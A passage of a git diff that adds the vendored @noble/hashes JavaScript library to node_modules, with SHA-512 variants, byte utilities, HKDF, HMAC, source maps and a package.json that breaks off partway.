Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]); + const T1l = T1ll | 0; + // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39) + const sigma0h = u64.rotrSH(Ah, Al, 28) ^ u64.rotrBH(Ah, Al, 34) ^ u64.rotrBH(Ah, Al, 39); + const sigma0l = u64.rotrSL(Ah, Al, 28) ^ u64.rotrBL(Ah, Al, 34) ^ u64.rotrBL(Ah, Al, 39); + const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch); + const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl); + Hh = Gh | 0; + Hl = Gl | 0; + Gh = Fh | 0; + Gl = Fl | 0; + Fh = Eh | 0; + Fl = El | 0; + ({ h: Eh, l: El } = u64.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0)); + Dh = Ch | 0; + Dl = Cl | 0; + Ch = Bh | 0; + Cl = Bl | 0; + Bh = Ah | 0; + Bl = Al | 0; + const All = u64.add3L(T1l, sigma0l, MAJl); + Ah = u64.add3H(All, T1h, sigma0h, MAJh); + Al = All | 0; + } + // Add the compressed chunk to the current hash value + ({ h: Ah, l: Al } = u64.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0)); + ({ h: Bh, l: Bl } = u64.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0)); + ({ h: Ch, l: Cl } = u64.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0)); + ({ h: Dh, l: Dl } = u64.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0)); + ({ h: Eh, l: El } = u64.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0)); + ({ h: Fh, l: Fl } = u64.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0)); + ({ h: Gh, l: Gl } = u64.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0)); + ({ h: Hh, l: Hl } = u64.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0)); + this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl); + } + roundClean() { + SHA512_W_H.fill(0); + SHA512_W_L.fill(0); + } + destroy() { + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} +class SHA512_224 extends SHA512 { + constructor() { + super(); + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x8c3d37c8 | 0; + this.Al = 0x19544da2 | 0; + this.Bh = 0x73e19966 | 0; + this.Bl = 0x89dcd4d6 | 0; + this.Ch = 0x1dfab7ae | 0; + this.Cl = 0x32ff9c82 | 0; + this.Dh = 0x679dd514 | 0; + this.Dl = 0x582f9fcf | 0; + this.Eh = 0x0f6d2b69 | 0; + this.El = 0x7bd44da8 | 0; + this.Fh = 0x77e36f73 | 0; + this.Fl = 0x04c48942 | 0; + this.Gh = 0x3f9d85a8 | 0; + this.Gl = 0x6a1d36c8 | 0; + this.Hh = 0x1112e6ad | 0; + this.Hl = 0x91d692a1 | 0; + this.outputLen = 28; + } +} +class SHA512_256 extends SHA512 { + constructor() { + super(); + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x22312194 | 0; + this.Al = 0xfc2bf72c | 0; + this.Bh = 0x9f555fa3 | 0; + this.Bl = 0xc84c64c2 | 0; + this.Ch = 0x2393b86b | 0; + this.Cl = 0x6f53b151 | 0; + this.Dh = 0x96387719 | 0; + this.Dl = 0x5940eabd | 0; + this.Eh = 0x96283ee2 | 0; + this.El = 0xa88effe3 | 0; + this.Fh = 0xbe5e1e25 | 0; + this.Fl = 0x53863992 | 0; + this.Gh = 0x2b0199fc | 0; + this.Gl = 0x2c85b8aa | 0; + this.Hh = 0x0eb72ddc | 0; + this.Hl = 0x81c52ca2 | 0; + this.outputLen = 32; + } +} +class SHA384 extends SHA512 { + constructor() { + super(); + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0xcbbb9d5d | 0; + this.Al = 0xc1059ed8 | 0; + this.Bh = 0x629a292a | 0; + this.Bl = 0x367cd507 | 0; + this.Ch = 0x9159015a | 0; + this.Cl = 0x3070dd17 | 0; + this.Dh = 0x152fecd8 | 0; + this.Dl = 0xf70e5939 | 0; + this.Eh = 0x67332667 | 0; + this.El = 0xffc00b31 | 0; + this.Fh = 0x8eb44a87 | 0; + this.Fl = 0x68581511 | 0; + this.Gh = 0xdb0c2e0d | 0; + this.Gl = 0x64f98fa7 | 0; + this.Hh = 0x47b5481d | 0; + this.Hl = 0xbefa4fa4 | 0; + this.outputLen = 48; + } +} +export const sha512 = /* @__PURE__ */ wrapConstructor(() => new SHA512()); +export const sha512_224 = /* @__PURE__ */ wrapConstructor(() => new SHA512_224()); +export const sha512_256 = /* @__PURE__ */ wrapConstructor(() => new SHA512_256()); +export const sha384 = /* @__PURE__ */ wrapConstructor(() => new SHA384()); +//# sourceMappingURL=sha512.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha512.js.map b/node_modules/@noble/hashes/esm/sha512.js.map new file mode 100644 index 000000000000..4c9e3e68cbfa --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha512.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha512.js","sourceRoot":"","sources":["../src/sha512.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,YAAY,CAAC;AAClC,OAAO,GAAG,MAAM,WAAW,CAAC;AAC5B,OAAO,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAE7C,0GAA0G;AAC1G,kBAAkB;AAClB,MAAM,CAAC,SAAS,EAAE,SAAS,CAAC,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,KAAK,CAAC;IAC9D,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACt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CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QACpB,OAAE,GAAG,UAAU,GAAG,CAAC,CAAC;QAIlB,IAAI,CAAC,SAAS,GAAG,EAAE,CAAC;IACtB,CAAC;CACF;AAED,MAAM,CAAC,MAAM,MAAM,GAAG,eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,MAAM,EAAE,CAAC,CAAC;AAC1E,MAAM,CAAC,MAAM,UAAU,GAAG,eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,UAAU,EAAE,CAAC,CAAC;AAClF,MAAM,CAAC,MAAM,UAAU,GAAG,eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,UAAU,EAAE,CAAC,CAAC;AAClF,MAAM,CAAC,MAAM,MAAM,GAAG,eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,MAAM,EAAE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/utils.js b/node_modules/@noble/hashes/esm/utils.js new file mode 100644 index 000000000000..80c094982002 --- /dev/null +++ b/node_modules/@noble/hashes/esm/utils.js @@ -0,0 +1,154 @@ +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// node.js versions earlier than v19 don't declare it in global scope. +// For node.js, package.json#exports field mapping rewrites import +// from `crypto` to `cryptoNode`, which imports native module. +// Makes the utils un-importable in browsers without a bundler. +// Once node.js 18 is deprecated, we can just drop the import. +import { crypto } from '@noble/hashes/crypto'; +const u8a = (a) => a instanceof Uint8Array; +// Cast array to different type +export const u8 = (arr) => new Uint8Array(arr.buffer, arr.byteOffset, arr.byteLength); +export const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); +// Cast array to view +export const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength); +// The rotate right (circular right shift) operation for uint32 +export const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift); +// big-endian hardware is rare. Just in case someone still decides to run hashes: +// early-throw an error because we don't support BE yet. +export const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44; +if (!isLE) + throw new Error('Non little-endian hardware is not supported'); +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0')); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +export function bytesToHex(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +export function hexToBytes(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) + throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) + throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} +// There is no setImmediate in browser and setTimeout is slow. +// call of async fn will return Promise, which will be fullfiled only on +// next scheduler queue processing step and this is exactly what we need. +export const nextTick = async () => { }; +// Returns control to thread each 'tick' ms to avoid blocking +export async function asyncLoop(iters, tick, cb) { + let ts = Date.now(); + for (let i = 0; i < iters; i++) { + cb(i); + // Date.now() is not monotonic, so in case if clock goes backwards we return return control too + const diff = Date.now() - ts; + if (diff >= 0 && diff < tick) + continue; + await nextTick(); + ts += diff; + } +} +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +export function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +/** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ +export function toBytes(data) { + if (typeof data === 'string') + data = utf8ToBytes(data); + if (!u8a(data)) + throw new Error(`expected Uint8Array, got ${typeof data}`); + return data; +} +/** + * Copies several Uint8Arrays into one. + */ +export function concatBytes(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} +// For runtime check if class implements interface +export class Hash { + // Safe version that clones internal state + clone() { + return this._cloneInto(); + } +} +const toStr = {}.toString; +export function checkOpts(defaults, opts) { + if (opts !== undefined && toStr.call(opts) !== '[object Object]') + throw new Error('Options should be object or undefined'); + const merged = Object.assign(defaults, opts); + return merged; +} +export function wrapConstructor(hashCons) { + const hashC = (msg) => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; +} +export function wrapConstructorWithOpts(hashCons) { + const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest(); + const tmp = hashCons({}); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = (opts) => hashCons(opts); + return hashC; +} +export function wrapXOFConstructorWithOpts(hashCons) { + const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest(); + const tmp = hashCons({}); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = (opts) => hashCons(opts); + return hashC; +} +/** + * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS. + */ +export function randomBytes(bytesLength = 32) { + if (crypto && typeof crypto.getRandomValues === 'function') { + return crypto.getRandomValues(new Uint8Array(bytesLength)); + } + throw new Error('crypto.getRandomValues must be defined'); +} +//# sourceMappingURL=utils.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/utils.js.map b/node_modules/@noble/hashes/esm/utils.js.map new file mode 100644 index 000000000000..19d87a908f31 --- /dev/null +++ b/node_modules/@noble/hashes/esm/utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.js","sourceRoot":"","sources":["../src/utils.ts"],"names":[],"mappings":"AAAA,sEAAsE;AAEtE,oFAAoF;AACpF,sEAAsE;AACtE,kEAAkE;AAClE,8DAA8D;AAC9D,+DAA+D;AAC/D,8DAA8D;AAC9D,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAM9C,MAAM,GAAG,GAAG,CAAC,CAAM,EAAmB,EAAE,CAAC,CAAC,YAAY,UAAU,CAAC;AACjE,+BAA+B;AAC/B,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAe,EAAE,EAAE,CAAC,IAAI,UAAU,CAAC,GAAG,CAAC,MAAM,EAAE,GAAG,CAAC,UAAU,EAAE,GAAG,CAAC,UAAU,CAAC,CAAC;AAClG,MAAM,CAAC,MAAM,GAAG,GAAG,CAAC,GAAe,EAAE,EAAE,CACrC,IAAI,WAAW,CAAC,GAAG,CAAC,MAAM,EAAE,GAAG,CAAC,UAAU,EAAE,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,UAAU,GAAG,CAAC,CAAC,CAAC,CAAC;AAE9E,qBAAqB;AACrB,MAAM,CAAC,MAAM,UAAU,GAAG,CAAC,GAAe,EAAE,EAAE,CAC5C,IAAI,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,GAAG,CAAC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;IAC9B,KAAK,CAAC,SAAS,GAAG,GAAG,CAAC,SAAS,CAAC;IAChC,KAAK,CAAC,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;IAC9B,KAAK,CAAC,MAAM,GAAG,CAAC,IAAO,EAAE,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;IAC3C,OAAO,KAAK,CAAC;AACf,CAAC;AAED,MAAM,UAAU,0BAA0B,CACxC,QAAkC;IAElC,MAAM,KAAK,GAAG,CAAC,GAAU,EAAE,IAAQ,EAAc,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,MAAM,EAAE,CAAC;IACjG,MAAM,GAAG,GAAG,QAAQ,CAAC,EAAO,CAAC,CAAC;IAC9B,KAAK,CAAC,SAAS,GAAG,GAAG,CAAC,SAAS,CAAC;IAChC,KAAK,CAAC,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;IAC9B,KAAK,CAAC,MAAM,GAAG,CAAC,IAAO,EAAE,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;IAC3C,OAAO,KAAK,CAAC;AACf,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,WAAW,CAAC,WAAW,GAAG,EAAE;IAC1C,IAAI,MAAM,IAAI,OAAO,MAAM,CAAC,eAAe,KAAK,UAAU,EAAE;QAC1D,OAAO,MAAM,CAAC,eAAe,CAAC,IAAI,UAAU,CAAC,WAAW,CAAC,CAAC,CAAC;KAC5D;IACD,MAAM,IAAI,KAAK,CAAC,wCAAwC,CAAC,CAAC;AAC5D,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/hkdf.d.ts b/node_modules/@noble/hashes/hkdf.d.ts new file mode 100644 index 000000000000..e1d683bcb418 --- /dev/null +++ b/node_modules/@noble/hashes/hkdf.d.ts @@ -0,0 +1,26 @@ +import { CHash, Input } from './utils.js'; +/** + * HKDF-Extract(IKM, salt) -> PRK + * Arguments position differs from spec (IKM is first one, since it is not optional) + * @param hash + * @param ikm + * @param salt + * @returns + */ +export declare function extract(hash: CHash, ikm: Input, salt?: Input): Uint8Array; +/** + * HKDF-expand from the spec. + * @param prk - a pseudorandom key of at least HashLen octets (usually, the output from the extract step) + * @param info - optional context and application specific information (can be a zero-length string) + * @param length - length of output keying material in octets + */ +export declare function expand(hash: CHash, prk: Input, info?: Input, length?: number): Uint8Array; +/** + * HKDF (RFC 5869): extract + expand in one step. + * @param hash - hash function that would be used (e.g. sha256) + * @param ikm - input keying material, the initial key + * @param salt - optional salt value (a non-secret random value) + * @param info - optional context and application specific information + * @param length - length of output keying material in octets + */ +export declare const hkdf: (hash: CHash, ikm: Input, salt: Input | undefined, info: Input | undefined, length: number) => Uint8Array; diff --git a/node_modules/@noble/hashes/hkdf.js b/node_modules/@noble/hashes/hkdf.js new file mode 100644 index 000000000000..021b68ecfe80 --- /dev/null +++ b/node_modules/@noble/hashes/hkdf.js @@ -0,0 +1,78 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.hkdf = exports.expand = exports.extract = void 0; +const _assert_js_1 = require("./_assert.js"); +const utils_js_1 = require("./utils.js"); +const hmac_js_1 = require("./hmac.js"); +// HKDF (RFC 5869) +// https://soatok.blog/2021/11/17/understanding-hkdf/ +/** + * HKDF-Extract(IKM, salt) -> PRK + * Arguments position differs from spec (IKM is first one, since it is not optional) + * @param hash + * @param ikm + * @param salt + * @returns + */ +function extract(hash, ikm, salt) { + (0, _assert_js_1.hash)(hash); + // NOTE: some libraries treat zero-length array as 'not provided'; + // we don't, since we have undefined as 'not provided' + // https://github.com/RustCrypto/KDFs/issues/15 + if (salt === undefined) + salt = new Uint8Array(hash.outputLen); // if not provided, it is set to a string of HashLen zeros + return (0, hmac_js_1.hmac)(hash, (0, utils_js_1.toBytes)(salt), (0, utils_js_1.toBytes)(ikm)); +} +exports.extract = extract; +// HKDF-Expand(PRK, info, L) -> OKM +const HKDF_COUNTER = /* @__PURE__ */ new Uint8Array([0]); +const EMPTY_BUFFER = /* @__PURE__ */ new Uint8Array(); +/** + * HKDF-expand from the spec. + * @param prk - a pseudorandom key of at least HashLen octets (usually, the output from the extract step) + * @param info - optional context and application specific information (can be a zero-length string) + * @param length - length of output keying material in octets + */ +function expand(hash, prk, info, length = 32) { + (0, _assert_js_1.hash)(hash); + (0, _assert_js_1.number)(length); + if (length > 255 * hash.outputLen) + throw new Error('Length should be <= 255*HashLen'); + const blocks = Math.ceil(length / hash.outputLen); + if (info === undefined) + info = EMPTY_BUFFER; + // first L(ength) octets of T + const okm = new Uint8Array(blocks * hash.outputLen); + // Re-use HMAC instance between blocks + const HMAC = hmac_js_1.hmac.create(hash, prk); + const HMACTmp = HMAC._cloneInto(); + const T = new Uint8Array(HMAC.outputLen); + for (let counter = 0; counter < blocks; counter++) { + HKDF_COUNTER[0] = counter + 1; + // T(0) = empty string (zero length) + // T(N) = HMAC-Hash(PRK, T(N-1) | info | N) + HMACTmp.update(counter === 0 ? EMPTY_BUFFER : T) + .update(info) + .update(HKDF_COUNTER) + .digestInto(T); + okm.set(T, hash.outputLen * counter); + HMAC._cloneInto(HMACTmp); + } + HMAC.destroy(); + HMACTmp.destroy(); + T.fill(0); + HKDF_COUNTER.fill(0); + return okm.slice(0, length); +} +exports.expand = expand; +/** + * HKDF (RFC 5869): extract + expand in one step. + * @param hash - hash function that would be used (e.g. sha256) + * @param ikm - input keying material, the initial key + * @param salt - optional salt value (a non-secret random value) + * @param info - optional context and application specific information + * @param length - length of output keying material in octets + */ +const hkdf = (hash, ikm, salt, info, length) => expand(hash, extract(hash, ikm, salt), info, length); +exports.hkdf = hkdf; +//# sourceMappingURL=hkdf.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/hkdf.js.map b/node_modules/@noble/hashes/hkdf.js.map new file mode 100644 index 000000000000..7790e7ca93ab --- /dev/null +++ b/node_modules/@noble/hashes/hkdf.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hkdf.js","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A,IAAI,QAMyC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/hmac.d.ts b/node_modules/@noble/hashes/hmac.d.ts new file mode 100644 index 000000000000..63db656cccad --- /dev/null +++ b/node_modules/@noble/hashes/hmac.d.ts @@ -0,0 +1,25 @@ +import { Hash, CHash, Input } from './utils.js'; +export declare class HMAC> extends Hash> { + oHash: T; + iHash: T; + blockLen: number; + outputLen: number; + private finished; + private destroyed; + constructor(hash: CHash, _key: Input); + update(buf: Input): this; + digestInto(out: Uint8Array): void; + digest(): Uint8Array; + _cloneInto(to?: HMAC): HMAC; + destroy(): void; +} +/** + * HMAC: RFC2104 message authentication code. + * @param hash - function that would be used e.g. sha256 + * @param key - message key + * @param message - message data + */ +export declare const hmac: { + (hash: CHash, key: Input, message: Input): Uint8Array; + create(hash: CHash, key: Input): HMAC; +}; diff --git a/node_modules/@noble/hashes/hmac.js b/node_modules/@noble/hashes/hmac.js new file mode 100644 index 000000000000..0fc2d02ebccf --- /dev/null +++ b/node_modules/@noble/hashes/hmac.js @@ -0,0 +1,82 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.hmac = exports.HMAC = void 0; +const _assert_js_1 = require("./_assert.js"); +const utils_js_1 = require("./utils.js"); +// HMAC (RFC 2104) +class HMAC extends utils_js_1.Hash { + constructor(hash, _key) { + super(); + this.finished = false; + this.destroyed = false; + (0, _assert_js_1.hash)(hash); + const key = (0, utils_js_1.toBytes)(_key); + this.iHash = hash.create(); + if (typeof this.iHash.update !== 'function') + throw new Error('Expected instance of class which extends utils.Hash'); + this.blockLen = this.iHash.blockLen; + this.outputLen = this.iHash.outputLen; + const blockLen = this.blockLen; + const pad = new Uint8Array(blockLen); + // blockLen can be bigger than outputLen + pad.set(key.length > blockLen ? hash.create().update(key).digest() : key); + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36; + this.iHash.update(pad); + // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone + this.oHash = hash.create(); + // Undo internal XOR && apply outer XOR + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36 ^ 0x5c; + this.oHash.update(pad); + pad.fill(0); + } + update(buf) { + (0, _assert_js_1.exists)(this); + this.iHash.update(buf); + return this; + } + digestInto(out) { + (0, _assert_js_1.exists)(this); + (0, _assert_js_1.bytes)(out, this.outputLen); + this.finished = true; + this.iHash.digestInto(out); + this.oHash.update(out); + this.oHash.digestInto(out); + this.destroy(); + } + digest() { + const out = new Uint8Array(this.oHash.outputLen); + this.digestInto(out); + return out; + } + _cloneInto(to) { + // Create new instance without calling constructor since key already in state and we don't know it. + to || (to = Object.create(Object.getPrototypeOf(this), {})); + const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this; + to = to; + to.finished = finished; + to.destroyed = destroyed; + to.blockLen = blockLen; + to.outputLen = outputLen; + to.oHash = oHash._cloneInto(to.oHash); + to.iHash = iHash._cloneInto(to.iHash); + return to; + } + destroy() { + this.destroyed = true; + this.oHash.destroy(); + this.iHash.destroy(); + } +} +exports.HMAC = HMAC; +/** + * HMAC: RFC2104 message authentication code. + * @param hash - function that would be used e.g. sha256 + * @param key - message key + * @param message - message data + */ +const hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest(); +exports.hmac = hmac; +exports.hmac.create = (hash, key) => new HMAC(hash, key); +//# sourceMappingURL=hmac.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/hmac.js.map b/node_modules/@noble/hashes/hmac.js.map new file mode 100644 index 000000000000..798c5fa165ec --- /dev/null +++ b/node_modules/@noble/hashes/hmac.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hmac.js","sourceRoot":"","sources":["src/hmac.ts"],"names":[],"mappings":";;;AAAA,6CAAgG;AAChG,yCAAyD;AACzD,kBAAkB;AAClB,MAAa,IAAwB,SAAQ,eAAa;IAQxD,YAAY,IAAW,EAAE,IAAW;QAClC,KAAK,EAAE,CAAC;QAJF,aAAQ,GAAG,KAAK,CAAC;QACjB,cAAS,GAAG,KAAK,CAAC;Q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AE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,KAAK,GAAG,KAAK,CAAC,UAAU,CAAC,EAAE,CAAC,KAAK,CAAC,CAAC;QACtC,EAAE,CAAC,KAAK,GAAG,KAAK,CAAC,UAAU,CAAC,EAAE,CAAC,KAAK,CAAC,CAAC;QACtC,OAAO,EAAE,CAAC;IACZ,CAAC;IACD,OAAO;QACL,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QACtB,IAAI,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;QACrB,IAAI,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;IACvB,CAAC;CACF;AAnED,oBAmEC;AAED;;;;;GAKG;AACI,MAAM,IAAI,GAAG,CAAC,IAAW,EAAE,GAAU,EAAE,OAAc,EAAc,EAAE,CAC1E,IAAI,IAAI,CAAM,IAAI,EAAE,GAAG,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,MAAM,EAAE,CAAC;AADvC,QAAA,IAAI,QACmC;AACpD,YAAI,CAAC,MAAM,GAAG,CAAC,IAAW,EAAE,GAAU,EAAE,EAAE,CAAC,IAAI,IAAI,CAAM,IAAI,EAAE,GAAG,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/index.d.ts b/node_modules/@noble/hashes/index.d.ts new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/node_modules/@noble/hashes/index.js b/node_modules/@noble/hashes/index.js new file mode 100644 index 000000000000..2299d7f90eaf --- /dev/null +++ b/node_modules/@noble/hashes/index.js @@ -0,0 +1,3 @@ +"use strict"; +throw new Error('noble-hashes have no entry-point: consult README for usage'); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/index.js.map b/node_modules/@noble/hashes/index.js.map new file mode 100644 index 000000000000..b71bae62ff87 --- /dev/null +++ b/node_modules/@noble/hashes/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["src/index.ts"],"names":[],"mappings":";AAAA,MAAM,IAAI,KAAK,CAAC,4DAA4D,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/package.json b/node_modules/@noble/hashes/package.json new file mode 100644 index 000000000000..9a668d3d15c9 --- /dev/null +++ b/node_modules/@noble/hashes/package.json @@ -0,0 +1,174 @@ +{ + "name": "@noble/hashes", + "version": "1.3.2", + "description": "Audited & minimal 0-dependency JS implementation of SHA2, SHA3, RIPEMD, BLAKE2/3, HMAC, HKDF, PBKDF2, Scrypt", + "files": [ + "/*.js", + "/*.d.ts", + "/*.js.map", + "esm", + "src/*.ts" + ], + "scripts": { + "bench": "node benchmark/index.js noble", + "bench:all": "node benchmark/index.js", + "bench:install": "cd benchmark && npm install && cd ../../", + "build": "npm run build:clean; tsc && tsc -p tsconfig.esm.json", + "build:release": "cd build; npm i; npm run build", + "build:clean": "rm *.{js,d.ts,js.map} esm/*.{js,js.map} 2> /dev/null", + "lint": "prettier --check 'src/**/*.{js,ts}' 'test/**/*.{js,ts}'", + "format": "prettier --write 'src/**/*.{js,ts}' 'test/**/*.{js,ts}'", + "test": "node test/index.js", + "test:dos": "node test/slow-dos.test.js", + "test:big": "node test/slow-big.test.js" + }, + "author": "Paul Miller (https://paulmillr.com)", + "homepage": "https://paulmillr.com/noble/", + "repository": { + "type": "git", + "url": "https://github.com/paulmillr/noble-hashes.git" + }, + "license": "MIT", + "sideEffects": false, + "browser": { + "node:crypto": false, + "./crypto": "./crypto.js" + }, + "devDependencies": { + "micro-bmark": "0.3.1", + "micro-should": "0.4.0", + "prettier": "2.8.4", + "typescript": "5.0.2" + }, + "engines": { + "node": ">= 16" + }, + "exports": { + ".": { + "types": "./index.d.ts", + "import": "./esm/index.js", + "default": "./index.js" + }, + "./crypto": { + "types": "./crypto.d.ts", + "node": { + "import": "./esm/cryptoNode.js", + "default": "./cryptoNode.js" + }, + "import": "./esm/crypto.js", + "default": "./crypto.js" + }, + "./_assert": { + "types": "./_assert.d.ts", + "import": "./esm/_assert.js", + "default": "./_assert.js" + }, + "./_sha2": { + "types": "./_sha2.d.ts", + "import": "./esm/_sha2.js", + "default": "./_sha2.js" + }, + "./argon2": { + "types": "./argon2.d.ts", + "import": "./esm/argon2.js", + "default": "./argon2.js" + }, + "./blake2b": { + "types": "./blake2b.d.ts", + "import": "./esm/blake2b.js", + "default": "./blake2b.js" + }, + "./blake2s": { + "types": "./blake2s.d.ts", + "import": "./esm/blake2s.js", + "default": "./blake2s.js" + }, + "./blake3": { + "types": "./blake3.d.ts", + "import": "./esm/blake3.js", + "default": "./blake3.js" + }, + "./eskdf": { + "types": "./eskdf.d.ts", + "import": "./esm/eskdf.js", + "default": "./eskdf.js" + }, + "./hkdf": { + "types": "./hkdf.d.ts", + "import": "./esm/hkdf.js", + "default": "./hkdf.js" + }, + "./hmac": { + "types": "./hmac.d.ts", + "import": "./esm/hmac.js", + "default": "./hmac.js" + }, + "./pbkdf2": { + "types": "./pbkdf2.d.ts", + "import": "./esm/pbkdf2.js", + "default": "./pbkdf2.js" + }, + "./ripemd160": { + "types": "./ripemd160.d.ts", + "import": "./esm/ripemd160.js", + "default": "./ripemd160.js" + }, + "./scrypt": { + "types": "./scrypt.d.ts", + "import": "./esm/scrypt.js", + "default": "./scrypt.js" + }, + "./sha1": { + "types": "./sha1.d.ts", + "import": "./esm/sha1.js", + "default": 